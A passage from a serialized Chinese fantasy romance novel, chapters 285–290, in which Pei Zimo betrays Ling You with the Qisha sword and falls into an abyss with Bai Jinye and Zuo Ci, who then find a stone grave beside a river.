裴黎苦笑了一声,这些话她还没来得及跟凌幽说,“我也不知道我现在算什么。” 正说着,柳甫的魂魄突然扭曲了一下,他的脸色也跟着一变,“糟了!” 第285章 冥石固命 裴黎抬手抓住柳甫的胳膊,“看样子是我师叔在重新布阵,这是在召你们的魂魄回去了。” “在这里应该没关系。”凌幽微微皱起眉头,“这里和外界是隔绝的。” “那岂不是说,其他人的魂魄都要被抓回去了?”白锦夜开口道。 裴子墨的脸色也微变,“但现在神傀公已经入轮回了,萧玲珑的魂魄也投胎几次,眼下……缺了两个魂魄,他一定会想办法找人补位的。”她说着目光也落在凌幽的身上,如今,凌幽可以是一个选择。 另外一个呢? 凌幽的手微微握了下拳,“凌珞。” 当年的凌珞不如凌幽,可是凌珞入魔,一切就都难说了。 凌珞到底也是凌幽和裴黎的孩子,就算凌幽不给他华精玉,但是自然也不会希望见到有人想要伤害凌珞。 况且,这件事最终针对的,又是裴黎。 凌幽站起身就要往外走。 “你不能去。”裴子墨出声阻拦,“他缺的是两个魂魄,你如果去了,不是正好送上门么?我们没有人有把握能胜过他,这件事就得从长计议。” “是啊。”白锦夜的目光落在裴黎身上,“如果说他对圣女、‘十一公’一脉都有仇恨,那他也没有赶尽杀绝,比如像是我、像是子墨这种,完全不是他的对手的,他可以一早就除掉,但是他好像偏偏针对的,只是你一个人。” “而且这么多年,凌珞都在北冥国,他没有对凌珞下手,证明还是有所顾忌。”裴子墨又对着凌幽继续道,“再加上,他也不一定知道你还活着,现在大部分的主动权还掌握在我们手里,只要我们不先乱了阵脚,暂时不会有什么大事。” “他们说的对。”裴黎也看向凌幽,“你先别急。” 别人的话,凌幽不见得听得进去,但是裴黎话,他还是听的,他转过身,重新坐在椅子上,看向裴黎,“我们好不容易冰释前嫌,也有机会一家和睦,可……”他轻轻地叹了一口气,没有再说下去。 几个人商讨着对策,想要对付实力比自己高的人,唯一的办法,就是借助外力。 如今这琼华山似乎就是最好的外力,有天生地养的阵法,还有华精玉形成的这个“地狱深渊”,如果能在这里布局,把那人引过来,自然是最好的。 但是对方显然也能看穿他们的目的,不说他是不是会进来,但凡他在外面抓了对他们来说很重要的人,他们就没办法在这里呆下去,早晚都要出去。 商量了许久,裴子墨低低地打了一个哈欠。 这里分辨不出白天黑夜,但是他们进来也应该是许久了。 “先去休息吧。”白锦夜转头看着她低声道,“左右不是一时就能想出来的。” 裴子墨脸上带着些许歉意,“确实是有些撑不住了。” 此处有三间卧房,既然凌幽回来了,那主人房自然是他的,即便柳甫不需要睡觉,也还是被安排了跟左辞一个房间,剩下的,就是裴子墨和白锦夜的。 看着白锦夜抬手虚扶着裴子墨进了房间,裴黎才收回目光,看向凌幽,“希望他们两个,别像我们一样。” 凌幽也收回目光,跟着裴黎进了卧室,抬手设下禁制,才出声道,“这人虽是‘神冥公’一族的后代,但是……气息有些奇怪。” “嗯?”裴黎自然看到他设下的禁制,是不想让外人听到他们谈话的声音,“是因为冥尸?” 凌幽摇了摇头,“冥尸最开始,便是我从古籍上找到,是为了让珞儿不再受地府的侵扰活下来,但是此事要付出的代价极大,所以我便没有把这个方法流传下来。我后来回过北冥国几次,知道他们想要复刻,不过最终也就搞出了肉尸。” “那种东西没有思想,和冥尸相差甚远。”顿了顿,他才问,“他也是那丫头炼的?” 裴黎点点头。 凌幽走到桌边坐下,像是有什么想不通,隔了好一会才说,“我见过那丫头炼制的冥尸,他们两个看起来一样,但是……又相差很多。” “你有什么想不通的,说出来我们一起想想。”裴黎说着顿了下,“那丫头也是圣女一族的血脉,有些事我应该比你清楚。” 凌幽想了会,低声道,“北冥国搞出的那些肉尸,是为了控制,但是真正的冥尸炼制之后,其实是不受任何人控制的。可他们两个身上,都有那丫头的气息,她应该是能控制他们的。可我若是能控制珞儿,便直接控制他好了,又何必大费周章的处理华精玉?” 裴黎垂下眼,“许是她并没有真正掌握炼制冥尸的方法?” “我在那古籍中看到,人体中,最重要的东西,便是阳元。哪怕是魂魄也一样,只有有阳元的人,才能投胎转世做人。但是我给珞儿修复魂魄的时候,还并不知道这件事,所以珞儿的魂魄虽然随着那婴儿一起降生,但是因为他的魂魄里没有阳元,以致于没有办法完全和身体融合,也因此被地府盯上。” 凌幽说着抿了抿唇,“若是在他投胎之前,我找到一丝阳元,打入他的魂魄之中,他再投胎,就不会有任何问题。只可惜等我知道这件事的时候,就已经晚了,那时候就算找到阳元,打入他身体里,在这一世也没有办法再融合了,只能等来世投胎再用了。” “唯一的办法,就是……”说到这,他轻轻地叹了一口气,“就是用地府的血冥石代替阳元,再用血精温养身体。所以……其实这个秘法最开始并不是叫‘冥尸’,而是‘冥石固命’,这样一来,只要血冥石一直在,人就不会死。” “血冥石和血精在地府虽然比不上华精玉那么重要罕见,但是想要拿到也不容易。尤其是血精,是一种沙土,煮水后,要连续十天每天泡上一个时辰,当初我为了拿到足够的血精,反复跑了很多次地府。你想,那丫头根本不是‘神冥公’一脉的人,怎么可能拿到这两样东西?” 裴黎微微皱起眉,“她和凌珞有些渊源,有没有可能是凌珞帮她拿的?” 凌幽摇了摇头,“凌珞他虽热有‘神冥公’后人的这些能力,但是因为华精玉和血冥石这些,他被地府设了禁止,他去不了地府。” 第286章 若我一直在骗你 裴黎轻轻叹了口气,隔了会才说,“那也只能说,她用什么其他的方式,把肉尸进阶,但是并不是冥尸,这可能也是为了让这两个人活下去。” 凌幽继续道,“北冥国有一片湖,任何人喝了那片湖水里的水,都会变得疯疯癫癫,嗜血嗜杀,我也是后来才知道,那水有腐化阳元的作用。北冥国的肉尸,便是以此而来。肉尸虽然还能恢复神智,但是阳元恢复不了,所以成了肉尸的人,即便将来变成了正常人,等死了以后,都是不能再投胎转世的。” “当时,在流霞山我见到那个冥尸的时候,没在他身上看到阳元,便以为那是肉尸的进阶,所以给了她一粒阳元丹。那是这些年,我尝试着,从一些人或者魂魄里抽取炼制的,虽然对他这一世没什么用了,但是将来死了,身上带着这丝阳元之气,还能再投胎。” 他说着皱起眉头,“他们身上没有血冥石,就绝不是冥尸,但……在白锦夜的身上,我却感觉到了一丝冥尸的气息,就很奇怪。” 裴黎抬手握住他的手,“明日问问子墨就是了。” 凌幽反手压住她的手,“不,不要问。”他说着神色更加凝重,“这个裴子墨,问题更大。” 这下换裴黎不懂了,“我和她已经接触了一段时间,没有什么异常啊。” “她身上……”凌幽顿了顿才说,“她身上有三世魂。” “三世魂?”裴黎不明白。 “我上次见她的时候,她不是这具身体。”凌幽开口道。 裴黎点了点头,把裴清歌和裴子墨的事情说了一遍。 “但那时我见她的时候还没有什么异常。”凌幽抿了抿唇,继续道,“可能她三世魂伴生的,只是这个身体。三世魂并不是说有三个魂魄,而是伴生三世仇怨,三世魂聚齐的人,只为复仇而生。”他说着皱起眉头,“上一次,我知道的,伴生三世魂的人,就是你那个师叔。你确定,裴子墨跟他没关系?” “我……”裴黎有些迟疑,隔了会才说,“我见子墨和白锦夜他们两个人,不像是什么伤天害理之人。” 凌幽叹了口气,“这三世魂,还是我爹跟我说的,也只有我们一族能辨认,不过这种人上千年都不会出现一次,你也知道,带着前世挚爱的记忆投胎,都要在忘川里呆上千年,何况是三世仇怨,要在地府受怎样的磋磨之后,才能转世?但凡有这样的人出世,都是天下血流成河之时。” 裴黎抿了抿唇,想到她师叔,仅凭一人之力,就搞得“十一公”和圣女这十二族人血脉凋零,过了千年,都不肯死心。 若是裴子墨…… “也可能是我多虑了。”凌幽又道,“说不定……她的三世魂只是伴生,还没有觉醒。” “但愿吧。”裴黎的神色有些怔忡,凌幽不至于骗她,难道裴子墨真的如他所言么?“那有没有什么办法,彻底封印住她的三世魂?” 凌幽摇了摇头,“其实,在‘神冥公’一脉,是有些祖传的规矩的,毕竟在与地府的连结上,只有我们这一脉最深,有些时候地府碍于他们的规矩,不想放出来但不得不放出来投胎的魂魄,大多是由我们来处理,这三世魂便是其中之一。他们通过了地府的考验,地府不能不让他们投胎,但是为了避免将来出大乱子,地府会把这样的人告知我们,我们就想办法提前扼杀。” “凌珞会知道么?”裴黎突然开口问道。 “我离开北冥国之后,‘神冥公’一脉的事情,地府应该会告知凌珞,若是有三世魂转生,他应该是第一个知道的。”凌幽点点头。 裴黎脸上顿时没了血色,“子墨跟我说,她很小的时候,凌珞就找上她了,她所有的本事,都是凌珞亲手所教……那是不是说……”剩下的半句话,她没有说出来—— 那是不是说,凌珞一早就知道她是三世魂,他没有杀她,故意让她长大,甚至可能觉得有些术法失传,所以他亲自教她。 凌珞他到底想要做什么? 凌幽也薄唇轻抿,“那此事我们也得尽早做打算和安排了。” * 裴子墨躺在床上,脸上睡意渐浓。 白锦夜就只是坐在床边,一动未动。 裴子墨眼眸都已阖上,又勉强地睁开,“你不休息会么?” “我……”白锦夜看着她,这里的房间都极其简陋,若是有躺椅他也可以躺片刻,但如今他想要休息,也就只能躺在床上,可裴子墨不开口,他又怕她会恼怒。 看着白锦夜欲言又止的神情,裴子墨了然,片刻之后才往床里挪了挪,“你也休息会吧,之后还不知道会有什么事。” 白锦夜嘴角微微勾起一抹笑意,这才躺在床边。 裴子墨也就闭上了眼睛。 白锦夜并不困,听着裴子墨的呼吸变得均匀了之后,便侧过身,看着她的眉眼。 蓦地,手背上温热,裴子墨的手覆在了他的手背上,“白锦夜,你后悔么?” 白锦夜还以为她睡着了,没想到她问出这样的问题,半响才反问,“后悔什么?” “后悔遇见我,后悔走上这条路。”裴子墨说着顿了顿,“不然,说不定如今在盛京做皇上的,就是你了。” “若是没有遇见你,我怕是也活不到今日,不是么?”白锦夜看着她低声问。 “倒也是。”裴子墨轻笑了一声,“可若是你能活着呢?你后悔么?” “不后悔。”白锦夜回答得干脆。 “你还记得,在昭纯宫的密室,我最后对你说的话么?”裴子墨又问。 白锦夜微微皱起眉头,他如今的记忆好得不能再好,所以当时的一切都历历在目,他不愿回想,但每一个字都还是刻在他心里的—— “这件事瞒了你……也不只这件事,还有很多事,我都骗了你……你以后可别轻易相信任何人了,傻傻的被人利用……” 半响没听到白锦夜的话,裴子墨便知他是记得的,她睁开眼,看着他,“若是我一直在骗你,在利用你,你会怎样?” 白锦夜的心里微微一颤,隐隐的有一丝惶恐不安,“怎么突然说这些?是不是凌幽和裴黎的事,让你心生感慨?但我们必不会像他们一样,我……” “回答我的问题。”裴子墨打断他的话,甚至把问题又问了一遍,“若是我一直在骗你,在利用你,你会怎样?” 第287章 不给枕边人施术 白锦夜凝眸看着裴子墨,他看得出她的认真,也隐隐的感觉到,她说的就是真的。 空气静默了半响,裴子墨收回目光,“算了。” “若你做的是错事,我和你一起承担。”又隔了好一会,白锦夜才低声道。 他也就只说了这一句话,其余的再也没说。 虽然是假设的语气,但却像是他笃定的事实。 裴子墨垂下眼,手微微握成拳,许久后,她才闭上眼,“睡吧,睡醒了就都知道了。” 白锦夜的心里却更慌,上一次她说完这句话之后,就从他的生活里消失,他不知道她的这番话到底是什么意思,但是他绝对不允许这样的事情再发生一次,他抬手抚上她的脸颊。 “子墨……”他轻轻换她,“无论发生什么,我都跟你在一起,你也不能再丢下我。” 裴子墨的眉心微微皱了一下,随即睁开眼睛侧过身凑过去。 白锦夜垂眸看着她的唇慢慢靠近,贴在他的唇上,正要回应,眼前一黑,就什么都不知道了。 等他醒来的时候,已经不知道过了多久,可旁边的床缛冰凉,裴子墨早就不在了。 他心里一抖,迅速的起身冲出房间,慌乱的神色在见到院中的某个身影时,才终于安定的下来。 他微微吸了口气,朝着石桌边走过去。 裴子墨正和裴黎说着话,脸上笑盈盈的,不像是有什么大事要发生的模样。 听到声音,她也转过头,看向白锦夜,“你醒了。” “嗯。”白锦夜应了一声,在裴子墨的旁边坐下,目光也一直落在她身上。 凌幽坐的位置正对着他们房间的门口,从白锦夜出门到刚刚所有的表情都落在了他的眼里,他抿了一口水杯里的温水,才若无其事地道,“你睡了这么久?” “嗯……”白锦夜正要回答,却被裴子墨打断。 “他睡不着。”裴子墨转头看了白锦夜一眼,“我给他施了安睡的术法。” 裴黎微微犹豫了下,才道,“其实,在我们这些人之中,有一条不太成文的规矩,就是不会给枕边人施术。” 裴子墨哑然失笑,“这样么?那我真的是几次三番的坏了这个规矩。” 裴黎看着她,“两个人之间最重要的,是信任。若是以前,恐怕我也不懂,但是我和凌幽分开这么多年……”她说着轻轻叹了口气,“你们能在一起,应该珍惜才是。” 说着话,左辞和柳甫也从房间里走了出来。 左辞是早就醒了,不过他有自知之明,外面人家在聊天,他就没有出去打扰,况且他也是第一次和一个魂魄同睡一个房间……虽然那魂魄一直都没睡,但是他还是新奇得很。 直到柳甫慢悠悠的跟他说—— “你这肯定不是第一次跟一个魂魄睡在同一个房间,看你眉心的杀气不轻,应该杀过不少人,若是有魂魄跟着你,那你自然每晚都跟魂魄睡在同一个房间。况且,就算没有被你杀了的魂魄跟着你,那也有游魂呢,还有很多调皮的小孩魂魄,说不定趁你睡觉张嘴打呼噜的时候,往你嘴里尿尿了。” 左辞当即吓得把嘴闭得严严实实的,他发誓他以后睡觉都不张嘴打呼噜了。 白锦夜转头看了看左辞,又重新看向裴子墨,他有些话想问她,可是又不想当着这些人的面,正想着找个空当把裴子墨叫回房间的时候,便见凌幽朝外面看过去。 他拧起眉,转头看向白锦夜,“这世上,除了你我和凌珞,还有谁能打开黄泉路么?” 白锦夜被他这个问题问得茫然,“应该没有了。” “没有了。”凌幽低低地重复了一遍,继续看着外面,“那他是怎么进来的?” 他的话音落下,便见到一人提着剑,从黑暗处慢慢走过来,一直走向这院子。 白锦夜看着走近的人,转头看了看裴子墨,“他是现任北冥国国君,也是‘神冥公’一脉,但是他能不能打开黄泉路,我就不知道了。” “哦?”凌幽微微挑起眉,目光落在袁澈手里的剑上,“七杀斩。” 袁澈在院子门口停了下来,眯眸看着院子里面的人,没有动。 白锦夜拧眉看着袁澈,“你又来做什么?” 他对袁澈的记忆,最深的自然还是在北冥国,他想要他杀了他们的样子,之后袁澈也来过琼华山一次,但是那一次他什么都没做,和裴子墨说了几句话就走了。 如今,又来了。 不仅来了,还到了这里。 袁澈挑眉看着白锦夜,“我以为你应该知道。” 按照之前的情况看,白锦夜和裴子墨自然都不是袁澈的对手,可现在不一样,现在这里还有凌幽和裴黎。 白锦夜转头低声把之前的事情跟凌幽说了一遍。 凌幽脸色变得难看,“你残杀同族血脉,就是为了制造困笼蜮?” 袁澈嗤笑一声,“你要这么理解,也不是不行。” “那你今天来这,是为了杀他还是杀我?”凌幽说着往前一步,大有要清理门户之意了。 这毕竟是神冥公一脉的事,裴黎即便和凌幽在一起,也不好插手,况且袁澈也不可能可是凌幽的对手,她也就只是警惕地看着袁澈,没有上前。 袁澈朝白锦夜看了一眼,低低笑开,“杀他,已经试过了,子墨还不得跟我拼命?” “那就是找我了。”凌幽冷笑。 裴子墨往前走了几步,凝眸看着袁澈,“你还不死心么?” “为何要死心?”袁澈的话音落下,提剑便向凌幽刺来。 凌幽认出七杀斩,知道它可破一切术法阵法,自然不会硬接,侧身堪堪避开剑锋,就见袁澈手腕一转,剑锋直接向裴子墨刺去。 裴子墨后退了一步。 但此时袁澈的背后却暴露给凌幽,凌幽转手一掌就朝袁澈的背心打去。 裴子墨微皱了下眉,止住后退的步伐,反倒向前迎去。 前后夹击,只要裴子墨让开要害,拼着受点伤的结果牵制住袁澈,凌幽的实力不知道比袁澈高出多少,自然能轻易地解决掉袁澈。 但蓦地,裴黎却惊呼出声,“裴子墨,你要干什么?” 第288章 你答应过我 裴黎眼见着就要上前,可白锦夜却突然侧身挡住她的路。 她还哪管得上这些,挥手就把白锦夜打飞,可一切不过电光火石间。 白锦夜飞出去的时候,袁澈也生生地挨了凌幽一掌,口吐鲜血。 而七杀斩也几乎同时刺穿了凌幽的胸口。 袁澈倒落一旁的时候,手上空无一物。 因为此时,七杀斩已经在裴子墨的手里。 凌幽的眼里闪过一抹震惊,但随即了然,所有的问题,都有了答案。 裴子墨拔出剑,后退了一步,手腕轻抖,甩掉了剑刃上的血。 袁澈的伤不轻,他勉强地撑着自己的身体,踉跄地走到一边,靠着墙坐了下去。 裴子墨摸出一粒丹药扔给袁澈。 袁澈接了过来,看也没看就扔进了嘴里,随着丹药入口,他的伤势也渐渐缓和,“多谢。” 裴子墨这才看向凌幽,“不用谢我,说起来,这丹药还是凌幽的。” 凌幽捂着胸口,但血还是顺着他的指缝不断地流出来,滴落在地上。 裴黎在他旁边扶着他,也努力地想帮他止血。 “没用的。”裴子墨看着她徒劳无功的样子,“我早就在白锦夜的身上试过了,七杀斩是仙器,这世上唯有血菩提能治疗七杀斩留下的伤,可这世上唯一一个血菩提,也给白锦夜用了。” “为什么?”凌幽的脸色瞬间苍白,也撑不住自己的身体,原地跌坐在地上,靠在了裴黎的怀里。 一旁的左辞早就看傻了,他先是扑到白锦夜身边,晃了他半响,也不见他有任何反应,但是探着鼻息倒也正常,这才看向裴子墨等人,“这……这其中一定有误会,王妃,你……你快说话啊。” 裴子墨像是本来并不打算回答凌幽的问题,听到左辞的声音,瞥了他一眼,才开了口,“为什么啊……”她的声音有点缥缈,又轻轻地叹了一口气,“有时候我也想问呢,为什么呢?可这世上哪有那么多为什么?” “你放我出来,就是为了引出凌幽,是么?”裴黎盯着她,凌幽提醒她裴子墨有问题的时候,她还不太相信,可是转身,裴子墨就做出这样的事。 “是。”裴子墨点点头,“我找了他许多年,唯一一次遇见,就是在流霞山,可那时我毫无准备,又有其他的事情要做,只能眼睁睁地看着他离开,但起码我确定,他是真的活着,只要他活着,就早晚有办法把他引出来。” 裴黎垂下眼,手覆在凌幽的手上,温热的血不断的涌出,快要灼伤她的掌心,她眯了眯眼,半响才抬头看向裴子墨,“不管因为什么,都到此为止了。” 裴子墨笑着看她,“我现在不是你的对手,你可以杀了我,可是……我的命和凌珞绑在一起了,只要我死,他就死,那可是你们唯一的儿子,可是凌幽舍了半条命保住的儿子,只要你舍得,尽管下手。”她说着缓缓举起手,手心朝着裴黎的方向。 一条暗红色的线,在她的掌心上若隐若现。 裴黎一怔。 “为了今天,我准备了许久。”裴子墨开口道,“你若是不在意凌珞的死活,大可以杀了我,但你也应该知道,凌珞死了,可就再没有投胎转世的机会了。” 裴黎咬着牙,“他没有投胎转世的机会,你也不见得有。” 她说着就要起身朝裴子墨冲过来,可却被凌幽拉住。 裴黎垂眼看向凌幽,只见他对她微微摇了摇头,半响,她才深吸一口气,才点了点头,起身朝裴子墨走过去。 裴子墨只是静静地看着裴黎走过来,她不是她的对手,所以也根本不打算反抗。 裴黎隔空抓住裴子墨的身体,转过身,把她送向深渊的方向。 裴子墨转头看了看近在咫尺的深渊,勾了勾唇角,只是笑容还没有扩散出来,就见白锦夜朝她扑过来。 她的身体落下的同时,白锦夜也一把抓住了她的手腕。 她仰头看着白锦夜,“你果然……能挣开我的控制。” 白锦夜死死地盯着她,没有说话,用力想要把她拉上来。 这深渊下面虽然有吸力,但是对于白锦夜来说,本就不算什么,眼见着裴子墨已经被他拉动了些许,可是突然她的身体一沉,又向下坠去。 白锦夜转头看向凌幽,他脸色苍白,但手上还是捏起了一个印诀,这琼华山的一切,本就是凌幽所设,他能在这里限制了他的能力也不足为奇。 “放手。”裴子墨自然也感觉到了什么,她眯眼看着他,“你要做的已经做完了。” “不。”白锦夜拧着眉,“你答应过我……” “我什么都没答应你。”裴子墨打断他的话,看着白锦夜已经被她拖得半个身体都探出了深渊,她微微提高了声音,“左辞,把你家王爷拉回去。” 左辞已经到了深渊边,他是要拉他家王爷,可是王妃也不能不管啊,他抓住白锦夜的腰,“王爷你可千万别松手,属下抓着你呢。” 裴子墨眯了眯眼,抬起手里的七杀斩,朝白锦夜的手背划去。这样的七杀斩破不开白锦夜的皮肤,但他一样会疼。 可他吃了疼,只是抓得她更紧,也还是没有放手。 “白锦夜……”裴子墨低低地叫了他一声。 白锦夜一怔,想到了什么,转手一把推开左辞,双脚往前一蹬,就跟着裴子墨一起跳了下来。 左辞在地上打了个滚,起来连滚带爬的就朝深渊跑过去。 白锦夜借着向下的冲力,一手抱住了裴子墨的腰,一手抓住了崖上的石头,可一抬头,就见到左辞也跟着跳了下来,他脸色一凝,“混账,你下来干什么!” “啊——”左辞大叫一声,是啊,他下来干什么?王妃掉下去王爷殉情的话,他下来不是有点多余? 而且王妃不是普通人,眼见着王爷也不是了,只有他还是血肉之躯,说不定这么一来,死的只有他了。 白锦夜自是不能眼睁睁地看着左辞掉下去,只得放开抓崖壁的手抓住左辞。 裴子墨也同时把七杀斩插进了崖壁,“你们一个两个……”她说着抬头向上看了看。 裴黎已经站在深渊边,一道道符咒凭空出现,压在深渊之上。 向上的路,是彻底封死了。 第289章 你果然是一直在利用我啊 裴子墨微微抿了抿唇,七杀斩太过锋利,三个人向下坠的力度,拉着它在崖壁上划出一条裂痕,眼见着也坚持不了多久,她转头看向白锦夜,“下去吧,是死是活听天由命。” “王爷,王妃,你们不用管我,要是能上去,你们就上去。”左辞喊道。 白锦夜拧眉看着裴子墨,正要说什么,左辞的声音又传了过来—— “你们真的不用管我,这一生能跟着王爷王妃,已是我莫大的荣幸了。” 白锦夜无声地叹了口气,不等他再开口,七杀斩就已经从崖壁上脱落,三个人一起掉向深渊。 * 裴黎以符咒封印住深渊,才回到奄奄一息的凌幽身边,低声道,“是我的错。” 凌幽摇了摇头,“能在死前,再见你,我已经……满足了,只可惜……我若是入了地府,怕是真的再也见不到你了,不然奈何桥上,忘川之中,我一定等你。” 裴黎说不出话来,只能把他抱得更紧。 “把他的魂魄拉出来。”柳甫突然出声道。 裴黎转头看他。 柳甫有些警惕地看着袁澈,“他既然是‘神冥公’的族人,那凌幽一死,魂魄在入地府的路上,就会被他劫走,你先把他的魂魄拉出来,无论是送去地府也好,抑或者先以术法封存,也好过……被人抓走。” 裴黎经他提醒,才意识到什么,她看向凌幽。 凌幽已是弥留之际,但也还是听清了柳甫的话,勉强对她点了点头。 裴黎赶紧把他的魂魄拉出来,凌幽的身体顷刻便没了气息。 凌幽苦笑着看了看自己的魂魄,又看着裴黎,“没想到……咱们俩就要这样做一对鬼夫妻了。” 三个魂魄之体,这才一起看向旁边的袁澈。 袁澈擦了擦嘴角的血,“要杀就杀。” “裴子墨到底想要做什么?”凌幽往前走了一步,开口问道。 “我怎么知道?”袁澈笑着反问,“她让我把七杀斩送过来,我只是来送东西的。再说,看在同族的份上,我不是也提醒你了要杀的人是你?” “你们这一套动作行云流水,没有提前的密谋,怎么可能?”裴黎哂笑一声,“你以为你现在还能帮她隐瞒什么?” “可我确实什么都不知道啊。”袁澈无奈地笑道,“你可以杀了我,也可以让我魂飞魄散,但不管你们做什么,我不知道就是不知道。” “你既然明知道来了会死路一条,你还要来?”凌幽眯起眼睛。 “呵呵。”袁澈低笑几声,“别再废话了,直接杀了我吧。” “我以魂魄之体,召唤不出黄泉路。”凌幽转头看向裴黎,“要么我们一直困在这里,要么就只能借他的身体出去。” 袁澈嘴角的笑容更大,他们三个魂魄之体,即便能出去,也多有不便,当他看到白锦夜和左辞一起跳下去的时候,就知道他们眼下绝对不可能杀他,“我可以带你们去找凌珞。” “别再耍花样。”裴黎封印住袁澈的术法,裴子墨的命跟凌珞连着,她落入深渊,暂时死不了,也正好能趁现在这会去找凌珞,解开这术法。 之前凌幽跟她说过怀疑裴子墨的时候,便说了到万不得已的时候,就把裴子墨封在深渊之下。 对于三世魂来说,投胎转世,不过是从头开始,最好的办法,就是让她永远失去投胎转世的机会。 况且裴子墨身上又有血莲,真的想要杀她,也要费上一番功夫。 所以即便今日裴黎杀意再浓,也还是冷静下来,裴子墨既然算计到了今天这步,那自然是做好了被杀死的准备,所以她听了凌幽的建议,没有杀她,而是选择封印。 这种共命的术法,是双方都要在清醒的情况下,一起完成的,所以凌珞也一定知道什么,眼下也只能是尽快找到凌珞。 三人借着袁澈的身体,迅速地离开了此处。 * 裴子墨被人唤醒的时候,五脏六腑都疼得像是移了位一样。 白锦夜的手按在她的肩头,血从他的掌心不断地流进血莲之中,他的脸色也越来越苍白,见她睁开眼睛,就再也支撑不住自己,侧身倒在了地上。 裴子墨微微皱起眉头,意识逐渐清晰,深渊的下面,是一条河。 她虽然以术法为三人做了缓冲,但是那么高的地方摔下来,也还是让她疼得瞬间晕了过去,掉进河里之后她就没有任何记忆了,如今已经是在岸边。 “去看看左辞。”白锦夜的声音不高,他自己此刻连睁开眼睛的力气都没有。 裴子墨转过头,便见左辞趴在不远处,她挣扎了会,才踉跄地爬到左辞旁边,翻过他身体,人尚有一口气,但也是气若游丝,她只能先护住他的心脉。 她四下看着,除了面前的河,背后的崖壁,目光所及,便什么都没有了。 她坐在那,等着血莲慢慢修复伤势。 不知道过了多久,身上的衣服都已经干透,她身上才终于没有那么疼了。 白锦夜依旧是之前的姿势躺在那一动不动,冥尸不会死,有自我修复能力,但也极慢。 裴子墨看着他的背影,眉头拧了半响,才走过去,扶起他。 白锦夜眉心微微皱了下,靠在她肩膀上,“我睡着的时候,你就控制我把袁澈接了过来,是么?” “嗯。”裴子墨应了一声。 “你果然……是真的一直在利用我啊。”白锦夜又低声道。 “我已经跟你说了……你既然知道,又何必跟我一起跳下来。”裴子墨皱起眉,“你也明知道我身上有血莲,死的概率并不大。” “是啊,我看你那眼神,知道我若是不松手,你也要控制我松手了,即便我能挣开你的控制,可那需要时间,但松手只是一瞬间的事。我……我又怎么能松手呢?我只能跟你一起跳下来啊。”白锦夜无声地笑了笑,“可你说的对,何必呢?你也不稀罕。” “还要搭上左辞。”裴子墨朝旁边看了一眼,“这里什么都没有,就算能护住他一口气,他能坚持多久?” 白锦夜睁开眼,看了看裴子墨的侧脸,抬手扶住她的肩膀,想要借着力道坐起来,但是却摸到一手的湿滑黏腻,他放开手,看着掌心的红色,“你在流血?” “我没……”裴子墨正要否认,目光却落在白锦夜的手上,她也抬手摸了摸自己的肩膀,没有伤口,但是血莲的位置却一直在渗出红色的液体——血莲晶露。 她垂眼看着白锦夜,“算你和左辞命大,有救了。” 第290章 合葬 左辞醒来的时候,只剩下裴子墨还在昏睡。 他挠了挠头,有些不可置信地看着白锦夜,“王爷,你不会是最后一刻舍弃了王妃,护住了属下吧,所以属下才没什么事,但是王妃还在昏迷?”他越说越感动,“属下真是没想到属下在王爷心中,竟然比王妃还要重要。” “你脑子摔坏了吧?”白锦夜瞪了他一眼,背上裴子墨,起身往前走。 左辞不追究详细过程,反正王爷在乎他舍不得他死就够了,只是他站起来才感觉到腿疼,他龇牙咧嘴了半响,一瘸一拐地跟了上去,“王爷,咱们现在这是往哪走?” 他和白锦夜、裴清歌不一样,这里对他来说就是一片漆黑,稍稍远一点就什么都看不见了,只能紧紧地跟着白锦夜。 “往哪走都好,总不能坐在那等死。”白锦夜皱起眉,他可以不吃不喝,但是裴子墨和左辞都不行。 “王妃没事吧?”左辞赶紧又问,他和王爷都尚且没事,裴子墨的本事本就比他们大,怎么可能会有事,除非……“是不是为了救我们,王妃才伤得这么重?” 白锦夜没说话。 “可这到底是怎么回事?”左辞挠了挠头,“王爷,那会你那么快就冲上去拦住裴黎,是不是和王妃早就商量好的?你俩也不提前给属下个眼色,真的吓死属下了。” “王妃为什么要杀凌幽?他们其实是坏人是么?” “闭会嘴吧。”白锦夜拧着眉,左辞不知道的事,他一样不知道,若是左辞不问出来,他也没有那么烦躁,可偏偏左辞问了出来,更多的问题就一直在他的心头盘旋。 左辞抿了抿唇,闭上了嘴,隔了会才又低声问,“王爷,咱们还能出去么?” “……”白锦夜死死地皱着眉头,闷头往前走。 裴子墨再次醒来的时候,身体依旧虚弱,上一次血莲凝结晶露之后,她虚弱了差不多十几天,眼下又是先重伤,和上次比,更不可能好到哪去。 感觉到她动了动,白锦夜便停了脚步,侧头看她,“醒了。” “嗯。”裴子墨应了一声,“这是往哪走?” “水是流动的,是活水,顺着水往前走,也许有出路。”白锦夜说着轻轻叹了口气,转头看了眼越来越窄的水流,就怕这这水最后归于地下,“而且前面……”说到这他停顿了下,“前面应该有什么。” 受华精玉的影响,白锦夜在这里感知到的,要比裴子墨更多也更清楚。 裴子墨也就没有再说话,重新闭上了眼睛。 又不知道走了多久,左辞才指着前面惊呼,“王爷,王妃,那是不是有光?” 他受黑暗影响,所以对光线格外的敏感,倒是白锦夜看了半响才确认那边确实有光。 既然有光,就有可能是通路,白锦夜的脚步也微微加快了些。 只是越走越近,才发现那光忽明忽暗,是灯火的光。 白锦夜的脚步顿了顿,这里怎么可能会有灯火?“但是没有人的气息。”他犹豫了一会,把裴子墨放下来,让左辞扶着她,“你们俩在这等我,我去看看。” “王爷……”左辞想要说什么,但是话出口之后,想到这是哪里,只能硬生生的变了说辞,“王爷小心啊。” “我还以为你要替我去。”白锦夜看了他一眼,才转身往灯火处走。 没多久,白锦夜才转身回来,“前面是一处小院和石屋,里面没有人,但是……”他顿了会,半响才道,“小院的中间有一座石坟,石坟边还有一具骸骨。” 裴子墨的眸光微闪,没有说话。 “但好歹那里能暂住,况且他们能在这里生活一段时间,应该就能找到吃的喝的,我们先过去吧。”白锦夜说着重新背起裴子墨往小院走。 以三人的身份,自然不怕石坟骸骨,白锦夜把裴子墨放下,便和左辞去收拾房间,检查周围。 裴子墨坐在院里的石墩上,看着石坟边的骸骨,神色怔忡。 石屋里用品一应俱全,只不过都落了厚厚的灰尘,白锦夜找了个水桶,正要出去河边打水,就见到有泪珠从裴子墨的脸上滑下。 他的动作一下子就僵住了,他认识裴子墨这么久了,却从未见她哭过,哪怕一滴泪都没有流过。 但如今……他的目光顺着裴子墨的目光落在骸骨之上,她是认识这两个人的,起码也认识其中一个。 左辞也跟着走了出来,正要问白锦夜怎么堵在门口不走,就同样见到流泪的裴子墨,他张了张嘴,半响才低声问,“王爷,王妃这是怎么了?是不是伤得太重,疼哭了?属下来收拾吧,你去陪着王妃吧。” 